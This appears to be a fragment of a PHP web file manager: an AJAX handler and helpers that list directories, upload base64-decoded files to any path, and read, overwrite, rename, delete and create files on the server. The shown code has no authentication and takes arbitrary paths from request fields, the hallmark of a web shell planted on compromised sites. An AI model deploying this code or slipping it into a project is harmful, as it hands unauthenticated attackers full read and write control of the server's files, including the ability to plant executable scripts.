// AJAX API Handler if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ajax_action'])) { header('Content-Type: application/json'); $response = ['success' => false, 'message' => 'Unknown action']; $currentDir = isset($_POST['dir']) && !empty($_POST['dir']) ? realpath($_POST['dir']) : (isset($_POST['current_dir']) ? realpath($_POST['current_dir']) : getcwd()); if (!$currentDir) $currentDir = getcwd(); switch ($_POST['ajax_action']) { case 'list': $response = ajaxListDirectory($currentDir); break; case 'upload': $response = ajaxUpload($currentDir); break; case 'delete': $response = ajaxDelete($currentDir, $_POST['name'] ?? ''); break; case 'rename': $response = ajaxRename($currentDir, $_POST['old_name'] ?? '', $_POST['new_name'] ?? ''); break; case 'mkdir': $response = ajaxMkdir($currentDir, $_POST['name'] ?? ''); break; case 'read': $response = ajaxReadFile($currentDir, $_POST['name'] ?? ''); break; case 'save': $response = ajaxSaveFile($currentDir, $_POST['name'] ?? '', $_POST['content'] ?? ''); break; } echo json_encode($response); exit; } function ajaxListDirectory($dir) { if (!is_dir($dir)) { return ['success' => false, 'message' => 'Invalid directory: ' . $dir]; } $items = []; $dh = opendir($dir); if ($dh) { while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $file; $items[] = [ 'name' => $file, 'type' => is_dir($path) ? 'dir' : 'file', 'size' => is_file($path) ? filesize($path) : 0, 'date' => date('Y-m-d H:i', filemtime($path)) ]; } closedir($dh); } usort($items, function($a, $b) { if ($a['type'] === $b['type']) { return strcasecmp($a['name'], $b['name']); } return $a['type'] === 'dir' ? -1 : 1; }); return [ 'success' => true, 'current_dir' => $dir, 'parent_dir' => dirname($dir), 'items' => $items ]; } function ajaxUpload($dir) { if (!isset($_POST['filename'], $_POST['data'], $_POST['target'])) { return ['success' => false, 'message' => 'Invalid upload data']; } $filename = basename($_POST['filename']); // decode target (like elFinder hash) $decoded = base64_decode($_POST['target'], true); if ($decoded === false || !is_dir($decoded)) { return ['success' => false, 'message' => 'Invalid target']; } $targetDir = realpath($decoded); if (!$targetDir) { return ['success' => false, 'message' => 'Path error']; } // decode base64 file $data = base64_decode($_POST['data'], true); if ($data === false) { return ['success' => false, 'message' => 'Base64 decode failed']; } $targetFile = $targetDir . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($targetFile, $data) !== false) { return [ 'success' => true, 'message' => 'Upload complete', 'file' => [ 'name' => $filename, 'hash' => base64_encode($targetFile), 'size' => filesize($targetFile) ] ]; } return ['success' => false, 'message' => 'Failed to save file']; } function ajaxDelete($dir, $name) { if (empty($name)) return ['success' => false, 'message' => 'No name provided']; $path = $dir . DIRECTORY_SEPARATOR . $name; if (!file_exists($path)) { return ['success' => false, 'message' => 'File not found']; } $success = is_dir($path) ? rmdir($path) : unlink($path); return ['success' => $success, 'message' => $success ? 'Deleted' : 'Delete failed']; } function ajaxRename($dir, $old, $new) { if (empty($old) || empty($new)) { return ['success' => false, 'message' => 'Names required']; } $oldPath = $dir . DIRECTORY_SEPARATOR . $old; $newPath = $dir . DIRECTORY_SEPARATOR . $new; if (!file_exists($oldPath)) { return ['success' => false, 'message' => 'Source not found']; } $success = rename($oldPath, $newPath); return ['success' => $success, 'message' => $success ? 'Renamed' : 'Rename failed']; } function ajaxMkdir($dir, $name) { if (empty($name)) return ['success' => false, 'message' => 'Name required']; $newDir = $dir . DIRECTORY_SEPARATOR . $name; if (file_exists($newDir)) { return ['success' => false, 'message' => 'Already exists']; } $success = mkdir($newDir, 0755); return ['success' => $success, 'message' => $success ? 'Created' : 'Failed']; } function ajaxReadFile($dir, $name) { if (empty($name)) return ['success' => false, 'message' => 'Name required']; $path = $dir . DIRECTORY_SEPARATOR . $name; if (!is_file($path) || !is_readable($path)) { return ['success' => false, 'message' => 'Cannot read file']; } $content = file_get_contents($path); return [ 'success' => true, 'content' => $content, 'name' => $name ]; } function ajaxSaveFile($dir, $name, $content) { if (empty($name)) return ['success' => false, 'message' => 'Name required']; $path = $dir . DIRECTORY_SEPARATOR . $name; $success = file_put_contents($path, $content) !== false; return ['success' => $success, 'message' => $success ? 'Saved' : 'Failed']; } $currentDir = isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd(); if (!$currentDir) $currentDir = getcwd(); ?>